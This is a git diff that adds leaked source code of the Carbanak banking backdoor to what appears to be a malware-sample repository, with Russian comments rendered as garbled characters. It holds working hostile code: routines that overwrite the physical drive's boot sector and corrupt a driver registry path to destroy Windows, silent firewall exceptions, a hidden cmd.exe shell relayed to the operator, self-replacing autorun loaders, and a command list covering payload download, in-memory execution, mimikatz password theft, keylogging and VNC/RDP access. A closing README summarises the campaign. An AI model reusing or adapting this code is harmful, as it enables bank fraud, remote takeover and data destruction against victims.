)+{+ DbgMsg( "���������� ������� cmd[%s](%s)", cmd.c_str(), args.c_str() );+ char* nameUser = GetUserFromCmd(args);+ WinCmd::Start(nameUser);+ if( nameUser != MAIN_USER ) Str::Free(nameUser);+}++/*************************************** ������� runplug *************************************************/+//������ ������� runplug name-plugin [cbtext name-func name-data] [wait] [autorun] [start name-func] [stop [name-func]] [func name-func [args]]+//��������� ������, ������� �������� dll ������+//cbtext - ������� ����������� ���������� ������� name-func ���������� ������ ������� � ���������� ��������� ������ ���������� �� �� ������ ��� ������ name-data+//wait - ����� ������� ������� �������, ���� �� ������� � �� ������� ������ �������, �� ������ ���������� � ������� ����� ����������� ����� ���������� ������ �������+//autorun - ���������� ���������� �������+//start - ����� ���������� ������� ��������� ��� ������, ������� ���������� args, ���� �������+//stop - ���������� ������ ������ ������� name-func (���� ��� ����������, �� � ��������� � �����������)+//func - ������� ���������� ������� name-func ������� � ��������������� ����������� args++void ExecCmd_RunPlug( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� runplug[%s](%s)", cmd.c_str(), args.c_str() );+ StringArray sa = args.Split(' ');+ if( sa.Count() == 0 ) return;+ Plugin::PluginStru plg;+ Mem::Zero(plg);+ Str::Copy( plg.name, sizeof(plg.name), sa[0]->c_str() );+ int n = 1;+ int err = 0;+ bool autorun = false;+ bool stop = false;+ char stop_func[32];+ while( n < sa.Count() && !err )+ {+ uint hash = sa[n]->Hash();+ switch( hash )+ {+ case 0x0699acf4: //cbtext+ if( n + 2 < sa.Count() )+ {+ plg.cbtype = Plugin::PluginCBText;+ Str::Copy( plg.name_func, sizeof(plg.name_func), sa[n + 1]->c_str() );+ Str::Copy( plg.name_data, sizeof(plg.name_data), sa[n + 2]->c_str() );+ n += 3;+ }+ else+ err = TaskErr::Param;+ break;+ case 0x08cb69de: //autorun+ autorun = true;+ n++;+ break;+ case 0x007aa894: //start+ if( n + 1 < sa.Count() )+ {+ n++;+ Str::Copy( plg.func_start, sizeof(plg.func_start), sa[n]->c_str() );+ }+ n++;+ break;+ case 0x0007ab60: //stop+ stop = true;+ stop_func[0] = 0;+ if( n + 1 < sa.Count() )+ {+ n++;+ Str::Copy( stop_func, sizeof(stop_func), sa[n]->c_str() );+ }+ n++;+ break;+ case 0x0007d804: //wait+ if( plg.cbtype == 0 )+ plg.cbtype = Plugin::PluginWait;+ n++;+ break;+ case 0x0006dc43: //func+ if( n + 1 < sa.Count() )+ {+ Plugin::ExecuteFunc( plg.name, sa[n + 1]->c_str(), 0 ); //���� �� ���������� ����� ����������+ n = sa.Count();+ }+ break;+ default:+ err = TaskErr::Param;+ }+ }+ if( !err )+ {+ if( autorun || stop )+ {+ StringBuilder cmd2, args2;+ cmd2 = cmd;+ cmd2 += ' ';+ cmd2 += *sa[0];+ for( int i = 1; i < sa.Count(); i++ )+ {+ if( i > 1 ) args2 += ' ';+ args2 += *sa[i];+ }+ SaveCmdInConfigFile( cmd2, args2, stop );+ }+ if( stop )+ Plugin::Stop( plg.name, stop_func);+ else+ Plugin::Run(&plg);+ }+}++/*************************************** ������� autorun *************************************************/+//������ �������: autorun ���-������� [olddel]+//��������� ��������� ������, ������� ������ ��������� ���������� ������� Execute � ��������� ��������� �����������+//���� ������ olddel, �� ����� �������� ��������� �������, ������ ���������� ���������++typedef int (WINAPI *autorunExecute)( const char* fileName, void* body, int c_body, char* newFileName );++static void AutorunLoadedPlugin( Pipe::AutoMsg msg, DWORD tag )+{+ if( msg->sz_data == 0 )+ {+ DbgMsg( "������ ��� autorun �� ��������" );+ return;+ }+ DbgMsg( "��������� ������ ��� autorun" );+ HMODULE dll = RunInMem::RunDll( msg->data, msg->sz_data );+ if( !dll )+ {+ DbgMsg( "�� ������� ��������� ������ ��� autorun" );+ return;+ }+ autorunExecute func = (autorunExecute)WinAPI::GetApiAddr( dll, 0x0cebace5 /*Execute*/ );+ if( func )+ {+ char* fileName = Path::GetFileName(Config::fileNameBot);+ Mem::Data body;+ File::ReadAll( Config::fileNameBot, body );+ char newFileName[MAX_PATH]; //����� ����� ���� ����������� ���� ����+ if( func( fileName, body.p_byte(), body.Len(), newFileName ) )+ {+ DbgMsg( "������ ��� autorun ���������� �������, ����� ������������ %s", newFileName );+ ManagerServer::SetGlobalState( GlobalState_LeftAutorun, '1' );+ if( tag ) //olddel+ {+ DbgMsg( "������� ������ ������������" );+ UnprotectBot();+ File::DeleteHard(Config::fileNameBot);+ if( Config::state & IS_SERVICE )+ {+ Service::Delete(Config::nameService);+ }+ StringBuilderStack<MAX_PATH> fileName2;+ Service::GetFileNameService(fileName2);+ File::DeleteHard(fileName2);++ Str::Copy( Config::fileNameBot, sizeof(Config::fileNameBot), newFileName );+ ProtectBot();+ }+ }+ else+ DbgMsg( "������ ��� autorun �� ��������� ����� ������������" );+ }+ else+ DbgMsg( "� ������� ��� autorun �� ������� ������� Execute" );+ RunInMem::FreeDll(dll);+}++void ExecCmd_Autorun( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� autorun[%s](%s)", cmd.c_str(), args.c_str() );+ StringArray sa = args.Split(' ');+ if( sa.Count() > 0 )+ {+ int olddel = 0;+ if( sa.Count() > 1 )+ {+ if( sa[1]->Hash() == 0x0762aabc /*olddel*/ ) olddel = 1;+ }+ ManagerServer::LoadPlugin( *sa[0], AutorunLoadedPlugin, 0, (DWORD)olddel );+ }+}++/*************************************** ������� msgbox *************************************************/+/*+static void ExecCmd_MsgBox( StringBuilder& cmd, StringBuilder& args )+{+ StringArray sa = args.Split('|');+ if( sa.Count() > 0 )+ {+ const char* msg = sa[0]->c_str();+ const char* caption = 0;+ const char* fileName = 0;+ if( sa.Count() > 1 )+ {+ caption = sa[1]->c_str();+ if( sa.Count() > 2 )+ fileName = sa[2]->c_str();+ }+ MessageBoxA( 0, msg, caption, 0 );+ if( fileName )+ {+ StringBuilderStack<MAX_PATH> path;+ Path::GetCSIDLPath( CSIDL_DESKTOPDIRECTORY, path, fileName );+ File::WriteAll( path, 0, 0 );+ }+ }+}+*/+}++//////////////////////////////////////////////////////////////////////////////////////////////////////////////////++void TaskServer::GetGlobalState( int id )+{+ int len = Str::Len(Task::stateConfigFile);+ if( len <= id )+ state = '0';+ else+ state = Task::stateConfigFile[id];+}++static DWORD WINAPI SaveStateConfigThread( void* )+{+ StringBuilderStack<16> cmd( _CS_("state") );+ int len = Str::Len(Task::stateConfigFile);+ StringBuilder args( 0, len + 1, Task::stateConfigFile, len );+ Task::SaveCmdInConfigFile( cmd, args, false );+ return 0;+}++void TaskServer::SetGlobalState( int id, char v )+{+ int len = Str::Len(Task::stateConfigFile);+ if( len <= id )+ {+ char* s = Str::Alloc(id + 1);+ Mem::Copy( s, Task::stateConfigFile, len );+ Mem::Set( s + len, '0', id - len + 1 );+ s[id + 1] = 0;+ Str::Free(Task::stateConfigFile);+ Task::stateConfigFile = s;+ }+ state = Task::stateConfigFile[id];+ Task::stateConfigFile[id] = v;+ RunThread( SaveStateConfigThread, 0 );+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/tools.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/tools.cppnew file mode 100644index 0000000..42ac73f--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/tools.cpp@@ -0,0 +1,116 @@+#include "tools.h"+#include "core\path.h"+#include "core\debug.h"+#include "core\elevation.h"++bool AddAllowedprogram( StringBuilder& path )+{+ //��������� ��� ������� (��� ����� ��� ����������)+ StringBuilderStack<32> nameRule( Path::GetFileName(path.c_str()) );+ int p = nameRule.IndexOf('.');+ if( p > 0 ) nameRule.SetLen(p);+ //������ ������� ����������� ����� windows\system32\wbem, ��� ���� �����+ //������� ����������� ��� ������� �� ���� ������� (��� ����� �� ����� ����� ���������)+ StringBuilderStack<MAX_PATH> sysPath;+ if( Path::GetCSIDLPath( CSIDL_SYSTEM, sysPath ) )+ {+ Path::AppendFile( sysPath, _CS_("wbem") );+ API(KERNEL32, SetCurrentDirectoryA)(sysPath);+ }+ OSVERSIONINFOA ver;+ ver.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);+ API(KERNEL32, GetVersionExA)(&ver);+ DWORD codeExit = 0;+ if( ver.dwMajorVersion >= 6 ) //Win7+ {+ Process::Exec( CREATE_NO_WINDOW | Process::EXEC_NOWINDOW, &codeExit, 5000, _CS_("netsh advfirewall firewall delete rule \"%s\""), nameRule );+ Process::Exec( CREATE_NO_WINDOW | Process::EXEC_NOWINDOW, &codeExit, 5000, _CS_("netsh advfirewall firewall add rule name=\"%s\" dir=in action=allow program=\"%s\""), nameRule.c_str(), path.c_str() );+ //StringBuilder cmd(512);+ //cmd.Format( _CS_("netsh advfirewall firewall add rule name=\"%s\" dir=in action=allow program=\"%s\""), nameRule.c_str(), path.c_str() );+ //Elevation::UACBypass( 0, cmd.c_str() );+ }+ else //WinXP+ {+ Process::Exec( CREATE_NO_WINDOW | Process::EXEC_NOWINDOW, &codeExit, 5000, _CS_("netsh firewall add allowedprogram \"%s\" %s ENABLE"), path.c_str(), nameRule.c_str() );+ }+ if( codeExit == 0 )+ {+ DbgMsg( "��������� ������� ��� ������������� ������ ������� ('%s'='%s')", nameRule.c_str(), path.c_str() );+ return true;+ }+ else+ {+ DbgMsg( "������� ��� ������������� �� ������������ (ExitCode=%d) ('%s'='%s')", codeExit, nameRule.c_str(), path.c_str() );+ return false;+ }+}++static bool KillOs1()+{+ // �������������� ������� ������, � ��� ���������� ������� ��������+ HANDLE hDest = API(KERNEL32, CreateFileA)( _CS_("\\\\.\\PHYSICALDRIVE0"), GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, 0 );+ if( hDest == INVALID_HANDLE_VALUE )+ return false;++ char p[512];+ Mem::Set( p, 0, sizeof(p) );+ DWORD size = sizeof(p);+ BOOL ret = API(KERNEL32, WriteFile)( hDest, p, size, &size, NULL );+ API(KERNEL32, CloseHandle)(hDest);++ return ret != FALSE;+}++//���������� � ������� ������ ���� � ������� �����+static bool KillOs2()+{+ bool ret = false;+ const char* items[] = { _CT_("ControlSet001"), _CT_("ControlSet002"), _CT_("CurrentControlSet"), 0 };+ int i = 0;+ while( items[i] )+ {+ StringBuilderStack<MAX_PATH> path;+ Path::Combine( path, _CS_("SYSTEM"), DECODE_STRING(items[i]), _CS_("services\\ACPI") );+ HKEY key;+ LONG res = API(ADVAPI32, RegOpenKeyExA)( HKEY_LOCAL_MACHINE, path, 0, KEY_ALL_ACCESS, &key );+ if( res == ERROR_SUCCESS )+ {+ //� A�PI.sys ������� ����� � (������ ���������), �������� ��������� ������+ StringBuilderStack<64> CORRUPTED_PATH( _CS_("system32\\drivers\\A�PI.sys") );+ res = API(ADVAPI32, RegSetValueExA)( key, _CS_("ImagePath"), 0, REG_SZ, (const BYTE *)CORRUPTED_PATH.c_str(), CORRUPTED_PATH.Len() + 1 );+ if( res == ERROR_SUCCESS )+ {+ DbgMsg( "KillOs2: Success: %s = %s", path.c_str(), CORRUPTED_PATH.c_str() );+ ret = true;+ }+ else+ {+ DbgMsg( "KillOs2: Error: %s = %s", path.c_str(), CORRUPTED_PATH.c_str() );+ }+ API(ADVAPI32, RegCloseKey)(key);+ }+ else+ {+ DbgMsg( "KillOs2: RegOpenKey() ERROR %d\n", res );+ }+ i++;+ }+ return ret;+}++bool KillOs()+{+ bool res = KillOs2();+ if( KillOs1() ) res = true;+ if( res )+ DbgMsg( "KillOs is success" );+ return res;+}++void Reboot()+{+ BOOL OldValue;+ if( NT_SUCCESS( API(NTDLL, RtlAdjustPrivilege)( SE_SHUTDOWN_PRIVILEGE, TRUE, FALSE, (PBOOLEAN)&OldValue ) ) )+ API(USER32, ExitWindowsEx)( EWX_REBOOT | EWX_FORCE, 0 );+}+diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/wincmd.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/wincmd.cppnew file mode 100644index 0000000..b1a072c--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/wincmd.cpp@@ -0,0 +1,213 @@+#include "core\core.h"+#include "core\pipe.h"+#include "core\debug.h"+#include "core\process.h"+#include "main.h"+#include "manager.h"+#include "other.h"+#include "sandbox.h"++class WinCmdServer : public PipeServer+{+ HANDLE stdoutReadHandle, stdoutWriteHandle;+ HANDLE stdinReadHandle, stdinWriteHandle;+ HANDLE hprocess;+ DWORD pid;+ uint idStream;+ bool stop;++ virtual int Handler( Pipe::Msg* msgIn, void** msgOut );+ virtual void Disconnect();++ public:++ WinCmdServer();+ ~WinCmdServer();++ bool Init();+ void Release();+ void SetIdStream( uint id )+ {+ idStream = id;+ }+ bool IsStop() const+ {+ return stop;+ }+ //��������� ������ �� ����������� cmd.exe � �������� �� �� ������+ void LoopReaderFromCmd();++};++static void HandlerCreatedPipeStream( Pipe::AutoMsg msg, DWORD tag );+//��������� ������ � ������ cmd.exe � ���������� �� ������+static DWORD WINAPI LoopReaderFromCmdThread( void* );++WinCmdServer::WinCmdServer()+{+ stdoutReadHandle = stdoutWriteHandle = 0;+ stdinReadHandle = stdinWriteHandle = 0;+ hprocess = 0;+ stop = false;+}++WinCmdServer::~WinCmdServer()+{+}++void WinCmdServer::Release()+{+ API(KERNEL32, CloseHandle)(stdoutReadHandle);+ API(KERNEL32, CloseHandle)(stdoutWriteHandle);+ API(KERNEL32, CloseHandle)(stdinReadHandle);+ API(KERNEL32, CloseHandle)(stdinWriteHandle);+ if( hprocess )+ {+ API(KERNEL32, TerminateProcess)( hprocess, 0 );+ API(KERNEL32, CloseHandle)(hprocess);+ }+}++bool WinCmdServer::Init()+{+ SECURITY_ATTRIBUTES saAttr;+ Mem::Zero(saAttr);+ saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);+ saAttr.bInheritHandle = TRUE;+ saAttr.lpSecurityDescriptor = NULL;++ if( !API(KERNEL32, CreatePipe)( &stdoutReadHandle, &stdoutWriteHandle, &saAttr, 0 ) ) return false;+ if( !API(KERNEL32, CreatePipe)( &stdinReadHandle, &stdinWriteHandle, &saAttr, 0 ) ) return false;+++ STARTUPINFOA si;+ PROCESS_INFORMATION pi;+ memset( &si, 0, sizeof(si) );+ memset( &pi, 0, sizeof(pi) );+ si.cb = sizeof(si);+ si.dwFlags = STARTF_USESHOWWINDOW;+ si.wShowWindow = SW_HIDE;+ si.hStdError = stdoutWriteHandle;+ si.hStdOutput = stdoutWriteHandle;+ si.hStdInput = stdinReadHandle;+ si.dwFlags |= STARTF_USESTDHANDLES;++ if( !API(KERNEL32, CreateProcessA)( 0, _CS_("cmd.exe"), 0, 0, TRUE, 0, 0, 0, &si, &pi ) ) return false;++ hprocess = pi.hProcess;+ pid = pi.dwProcessId;++ API(KERNEL32, CloseHandle)(pi.hThread);++ ManagerServer::CreateVideoPipeStream( _CS_("cmd"), name, HandlerCreatedPipeStream, 0, (DWORD)this );+ return true;+}++int WinCmdServer::Handler( Pipe::Msg* msgIn, void** msgOut )+{+ int ret = 0;+ switch( msgIn->cmd )+ {+ case 1: //������� ������ � cmd.exe+ {+ DbgMsg( "��� cmd.exe ������ ��������� ������ %d", msgIn->sz_data );+ DWORD rd;+ if( !API(KERNEL32, WriteFile)( stdinWriteHandle, msgIn->data, msgIn->sz_data, &rd, NULL ) )+ {+ ret = -1;+ stop = true;+ }+ }+ break;+ }+ return ret;+}++void WinCmdServer::LoopReaderFromCmd()+{+ const int size_buf = 4096;+ byte* buf = (byte*)Mem::Alloc(size_buf);+ if( buf )+ {+ while( !stop && Process::IsAlive(hprocess) )+ {+ DWORD rd, avail;+ if( !API(KERNEL32, PeekNamedPipe)( stdoutReadHandle, buf, size_buf, &rd, &avail, 0 ) ) break;+ if( rd > 0 )+ {+ while( avail > 0 )+ {+ int sz = avail;+ if( sz > size_buf ) sz = size_buf;+ API(KERNEL32, ReadFile)( stdoutReadHandle, buf, sz, &rd, NULL );+ ManagerServer::SendVideoStream( idStream, buf, rd );+ avail -= sz;+ }+ }+ Delay(200);+ }+ DbgMsg( "������� cmd.exe ��������" );+ Mem::Free(buf);+ Stop();+ }+ stop = true;+}++void WinCmdServer::Disconnect()+{+ DbgMsg( "WinCmdServer ����������" );+ stop = true;+ ManagerServer::CloseStream(idStream);+}++void HandlerCreatedPipeStream( Pipe::AutoMsg msg, DWORD tag )+{+ WinCmdServer* wincmd = (WinCmdServer*)tag;+ int idStream = *((uint*)msg->data);+ wincmd->SetIdStream(idStream);+ DbgMsg( "������� id ��� ������ cmd.exe %d", idStream );+ RunThread( LoopReaderFromCmdThread, wincmd ); //������� ������ � pipe �� ������+}++DWORD WINAPI LoopReaderFromCmdThread( void* v )+{+ WinCmdServer* wincmd = (WinCmdServer*)v;+ wincmd->LoopReaderFromCmd();+ return 0;+}++static DWORD WINAPI WinCmdProcess( void* )+{+ if( (Config::state & NOT_USED_SCVHOST) == 0 )+ {+ Sandbox::Init();+ if( !Pipe::InitServerPipeResponse() ) return 0;+ }+ WinCmdServer* wincmd = new WinCmdServer();+ if( wincmd->Init() )+ {+ wincmd->Start(true); //������ ������ pipe ��������� �� �������+ }+ Delay(5000);+ delete wincmd;+ if( (Config::state & NOT_USED_SCVHOST) == 0 )+ API(KERNEL32, ExitProcess)(0);+ return 0;+}++namespace WinCmd+{++void Start( const char* nameUser )+{+ if( Config::state & NOT_USED_SCVHOST )+ {+ RunThread( WinCmdProcess, 0 );+ }+ else+ {+ Sandbox::Run( WinCmdProcess, nameUser, 0, 0, false );+ }+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot_cmd.txt b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot_cmd.txtnew file mode 100644index 0000000..5f0b03b--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot_cmd.txt@@ -0,0 +1,133 @@+1. ������� video+������ �������: video �������� [�����������]+���� ��� �������� �� �������, �� ������� �� ����� ������+��� ����� ������ ���� �����������+������� video off ��������� ����� ������+������� ������������ � ����� ����� �������� ����� ������++2. ������� download+������ �������: download [user$��������] {url | ��� �������}+��������� ���� �� ��� ��� ����� �������, ��������� ��� �� ��������� ����� � ���������+���� ������ �������� user, �� ���� ��� ������� ��� ��������, �� ���� ����� ������� ��� ��������� ������+���� ������� ��������, �� ���� ����� ������� �� ����� ���������� �����++3. ������� ammyy+��� ����������: ���� ������ �� ��� ��������, �� ��������� ammyy.plug (cab �����), �������������, ����������� � ��������� ammy.+��� ���������� �������� �� ��� ����������� � ���������� �� ������ � ����� ammy\id+�������� install - ������ ��������� ������ � ����������� ���+�������� del - ���������� ���������� ������� ammyy � ������� ������+�������� stop - ������������� ����+�������� run - ��������� ����+��� ���������� ���� �������� ��� ������, ���� ��� �� �������, �� ����������� ��� ������� exe++4. ������� update+������������ ������� ��� �������� ���������� ����+������ �������: update [cold] ��� ������� (����������)+���� �� ������ cold (������� ����������), �� ����������� ��������� ����������, ���������� ���� � ������������ (�������) � �����������,+� ���� ����� ������� ��� ��������� ������+���� ������ cold (�������� ����������), �� ����������� ��������� ���������� � ���������� ���� � ������������ (�������)+���������� ������� � ���� ������ ����� ������++5. ������� updklgcfg+�������� ����������������� ����� � ������� ��� ���������. ��������� �� �����++6. ������� httpproxy+���������� http ������ ������ �� ���������� �����. ������ ��� ������� � ������� ����� ���� �������� ������ � ���� � ���� ������� �� ����� ������ � ����+������ �������: httpproxy ����++7. ������� killos+����� �� �� ����������� ����� ������. ����� ����� �� �������� �����. ���������� ���++8. ������� tunnel+������� ��������� ������� ��� �������� ������� �� ������ ���� ����� �������+������ �������: tunnel ���� {server | http | ip:port}+���� - ����� ����� ������� ����������� ��� ����������� � ������� ����+server - ������ ���������������� �� �� ������, � ������� �������� ������ ���+http - ��������� http ������, ��� ������� � �������+ip:port - ���� ������ ���������������� �� ��������� �����+������� ������������ � ���������� ���� � ����� ����������� ����� ������++9. ������� adminka+��������� ����� ����� ������ ������ ����� �������+������: adminka (http, https, socks5) ip:port [del, proxy authorization]+���� ������ �������� del, �� ��������� ������ ��������� � ��� ����������� ��������+���� ����� ������� ����� ������ � ������� ����� ������, �� ��� ����� ������� � ���� proxy authorization+(������ ��� ��� ������� ������, ������ ������ � ��������� ����������� ����� ������)+������� ����������� � ����� �������, ���� ���� ��������� ������, �� ��� ������� ������� ������ ��������++10. ������� server+��������� �� ������ ���� ����� ����������� � ��������+������ server [force] ip:port [ip:port] [ip:port] ...+���������: force - ��� ����� ������������� �� ip:port ��������� ������, ���� force �� ������, �� ������������� ������+ ������������ � ���� � �������� ��������� ��������� ����������, �� ����� �������������� ��������� � �������+������� ������������ � ����� ������ ����� ��������� ���������++11. ������� user+������� ��� ������� ����� � ������� ��� RDP+������ �������: user {create | delete} ��� �����+create - �������� ���������� �����+delete - �������� �����++12. ������� rdp+�������� �� ������ ����� rdp, ������ ������� ���� �� ����������� � ����� ������������ ���������� ���������� ������+������ ������� rdp {file | mem}+file - ������ ������ � ��������� ����� �� �����, � ���������� � ����� ������ ��� ����� ��������+mem - ������ �������� ������ � ������++13. ������� secure+���������� ���� � ��������� �����+secure lsa ���_������� - ��������� � ����������� dll ���� � HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages"++14. ������� del+������� ��������� ������ ��� ����, ��� ���� � ��� ���� ������� 0xff ����� ��� ���� ���������� ������������+������ �������: del {service | file} {��� ������� | ��� �����}+service - ������� ��������� ������+file - ������� ��������� ����++15. ������� startcmd+��������� ��������� � ���������� ������� � ���������� ���� � ��� ������� ����� ���������� ����� ������+������ �������: startcmd ����� ������� � �����������++16. ������� runmem+��������� ���� �� ���� ��� �� ����� ������� � ��������� ��� � ������+������ �������: runmem [user$��������] {url | ��� �������}+���� ������ �������� user, �� ���� ����������� �� ����� ���������� �����, ���� ��� ������� � ���������� �������+���� ������� ��������, �� ���� ����� ������� �� ����� ���������� �����++17. ������� logonpasswords+������� ������ � ������ ��������� ���������� mimikatz, ��������� ���������� � ������� ��� �� ������+������ �������: logonpasswords {server | adminka}+server - ������ ���������� �� �� ������ � ����� mimikatz/logon_passwords+adminka - ������ ���������� � ������� ��� ������ logon_passwors++18. ������� screenshot+������ �������� ������ ���������� ����� � �������� ��� � ������� ��� �� ������ � ����� screenshots/full_screen+������ �������: screenshot [user$��������] [server|adminka]+���� �� ������� ���� �����, �� �� ��������� ������ � �������++19. ������� dupl+������ �������: dupl {keylog | screenshot} [stop]+��������� ������ ���������� � ������� � ������ ����� ����+keylog - ������������ ������ ���������+stop - ���� ������, �� ������������� ������������++20. ������� findfiles+������ �������: findfiles path mask {adminka|server|adminka_server} name+����� ������ �� ����� mask � ����� path, ��������� ����� ��������� ����� � ���������� ����� ����������+��� ������ name (� ����� ���������� ��������� �� �����������)+����� ������ ��������� ������ ��������� ������� ��� �����, �� ������ ���� ����� *, ����� ��� ���������++21. ������� vnc+������ �������: vnc {port | stop}+��������� � ������� ������ vnc.plug � ��������� vnc ������ �� ���������� ����� port+���� ������ �������� stop, �� vnc ������ ����������� (���������� vnc)++22. ������� runfile+������ �������: runfile [user$��������] {���� � �����}+��������� ��������� ����, ����������� �� ��������� ������ ��� ������� ���+���� ������ �������� user, �� ���� ��� ������� ��� ��������, �� ���� ����� ������� ��� ������� ������+���� ������� ��������, �� ���� ����� ������� �� ����� ���������� �����++23. ������� killbot+������ �������: killbot+��������������� ����, ��������� ��� ����� ������������� ���� � ��������� ���� ������diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot_x64.dll b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot_x64.dllnew file mode 100644index 0000000..4fdfb86Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot_x64.dll differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot_x64.exe b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot_x64.exenew file mode 100644index 0000000..e193324Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot_x64.exe differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/builder_gui.config b/Malwares/Advanced Malware/Carbanak - part 2/Malware/builder_gui.confignew file mode 100644index 0000000..b28b04f--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/builder_gui.config@@ -0,0 +1,3 @@+++diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/builder_gui.exe b/Malwares/Advanced Malware/Carbanak - part 2/Malware/builder_gui.exenew file mode 100644index 0000000..7805f59Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/builder_gui.exe differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/config_server.xml b/Malwares/Advanced Malware/Carbanak - part 2/Malware/config_server.xmlnew file mode 100644index 0000000..6fcd2dc--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/config_server.xml@@ -0,0 +1,10 @@+<?xml version="1.0" encoding="windows-1251"?>+<cfg>+ <Port>700</Port>+ <PortClient>800</PortClient>+ <InfoDomen>+ </InfoDomen>+ <InfoPsw>+</InfoPsw>+ <Password />+</cfg>\ No newline at end of filediff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/example.config b/Malwares/Advanced Malware/Carbanak - part 2/Malware/example.confignew file mode 100644index 0000000..dcbc52e--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/example.config@@ -0,0 +1,25 @@+//������� ����+prefix = example++//����� �������, ������� ������ ������ ����� �������, 1-� ��������, ��������� ��������+hosts =+//����� ����� �������, ������� ������ ������ � ������� ����� �������, 1-� ��������, ��������� ��������+video_hosts =+//����� az �������, ������� ������ ������ ����� �������, 1-� ��������, ��������� ��������+hosts_az =+//��� az �����+user_az =+//��� ��������� �����: 1 - � ��������� svchost.exe, 0 - � ��� �� �������� ��� ��������� ������� � ��������+video_svchost = 1+//��� ������ ��� ������: 1 - ����������� � ������ ������, 0 - ����� ����������� � ��������+video_run = 0;+//����� ������� ����� ����������� ����������� �� ������������ (0 - �� �������� 10 ���, �������� - 99999 ���)+video_timeout = 9999;+//������ ��� ������� � ��������� (���� ������ ��� ���� �������)+password = 1234567812345678+//����� ������� ����� ������� � �������+period = 1+//��������������� ��� �����������: 1 - ��, 0 - ���+autorun = 1+//��� 1-� ������� ����: 1 - ��������� ������ ��������� ����, 0 - �� ���������+sployty = 1diff --git a/Malwares/Advanced Malware/Carbanak - part 2/README.md b/Malwares/Advanced Malware/Carbanak - part 2/README.mdnew file mode 100644index 0000000..1b9fe27--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/README.md@@ -0,0 +1,24 @@+## Carbanak+++Carbanak is an APT-style campaign targeting (but not limited to) financial institutions, that was discovered in 2014 by the Russian cyber security company Kaspersky Lab. It utilizes malware that is introduced into systems running Microsoft Windows using phishing emails, which is then used to steal money from banks via macros in documents. The hacker group is said to have stolen over 900 million dollars, from the banks as well as from over a thousand private customers.++The criminals were able to manipulate their access to the respective banking networks in order to steal the money in a variety of ways. In some instances, ATMs were instructed to dispense cash without having to locally interact with the terminal. Money mules would collect the money and transfer it over the SWIFT network to the criminals’ accounts, Kaspersky said. The Carbanak group went so far as to alter databases and pump up balances on existing accounts and pocketing the difference unbeknownst to the user whose original balance is still intact.++Their intended targets were primarily in Russia, followed by the United States, Germany, China and Ukraine, according to Kaspersky Lab. One bank lost $7.3 million when its ATMs were programmed to spew cash at certain times that henchmen would then collect, while a separate firm had $10 million taken via its online platform.++## How does carbanak work++++attackers enter the system through spear phishing. After gaining a foothold in the system, the dynamic data exchange (DDE) feature in Windows and legitimate cloud-based services will then be abused to deliver the malware or to establish command-and-control (C&C) communication.++After this, the Carbanak backdoor can then be used to log keystrokes and capture screenshots, steal and delete cookies, inject malicious code on sites, and monitor various traffic. For lateral movement, the malware abuses remote and system administration tools. Successfully entering the system leads to the next step: executing the attack. For code and behavior execution, both groups use a variety of techniques through native API, PowerShell, service execution, user execution, Windows Component Object Model (COM) and Distributed COM, and Windows Management Instrumentation (WMI).++Carbanak also abuses command-line interface and DDE client-server protocol.++On the other hand, FIN7 takes advantage of Mshta, a utility that can execute VBScript, and scheduled tasks to run malicious code on user systems. Once the malicious behavior is executed, the attackers will attempt to keep their presence in a system. To maintain persistence, the groups create new services. They also add programs to a startup folder that can be referenced with a registry run key. We detected a variant of the Carbanak malware that adds registry entries and keys as an autostart technique. Credentials of existing valid accounts were also abused.++In the case of FIN7, the use of application shimming databases (which can allow developers to apply fixes to applications without rewriting code) and hooking processes that allow the modification of program behaviors are some of the techniques that can be applied. The former has been utilized in a campaign involving the Pillowmint malware. Some portions of the system are protected by credentials. To steal these, both groups employed credential dumping and input capture. The former involves credentials that are usually in the form of hash or clear text, while the latter involves API or web portals.++Carbanak also performs brute force tactics or takes advantage of credentials that are saved in web browsers.diff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/config/builder.h b/Malwares/Advanced Malware/Carbanak - part 2/downloader/config/builder.hnew file mode 100644index 0000000..0795a96--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/config/builder.h@@ -0,0 +1,43 @@+#pragma once++//������ ��� �������+//�������� �������, ����� ����������� ��������� |+const int MaxSizeHostAdmin = 128;+#define MASK_ADMIN_PANEL_HOSTS "ADMIN_PANEL_HOSTS"+#define MASK_ADMIN_AZ "ADMIN_AZ"+const int MaxSizeUserAZ = 32;+#define MASK_USER_AZ "USER_AZ"+//�������� IP ������� ��� �����-�������, ����������� �������� |, ����� ����������� ��������� ����+const int MaxSizeIpVideoServer = 128;+#define 